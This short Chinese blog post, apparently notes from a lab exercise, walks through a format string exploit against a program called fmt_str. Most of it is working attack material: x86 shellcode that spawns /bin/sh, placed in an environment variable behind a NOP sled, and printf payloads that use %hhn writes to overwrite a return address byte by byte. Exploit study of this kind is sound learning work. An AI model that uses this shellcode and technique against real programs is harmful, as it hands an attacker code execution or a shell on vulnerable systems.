Format String
设置环境变量
perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > shellcode1.bin
export SHELLCODE=`perl -e 'print "\x90"x100;'``cat shellcode1.bin`
查看环境变量存储位置
之后编译并且运行get_env
,查看环境变量所在位置
利用格式化字符 %hhn
逐字节修改返回地址为 0xffffd7a4
。
./fmt_str `printf "\x10\x34\xff\xff\x11\x34\xff\xff\x12\x34\xff\xff\x13\x34\xff\xff"`%3\$148x%4\$hhn%3\$51x%5\$hhn%3\$40x%6\$hhn%7\$hhn
可以得到 text 的地址为 0xffffd130
,因此返回地址所在的地址为 0xffffd130
+ 0x40c
= 0xffffd53c
之后构造payload
./fmt_str `printf "\x3c\xd5\xff\xff\x3d\xd5\xff\xff\x3e\xd5\xff\xff\x3f\xd5\xff\xff"`%3\$148x%4\$hhn%3\$51x%5\$hhn%3\$40x%6\$hhn%7\$hhn
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!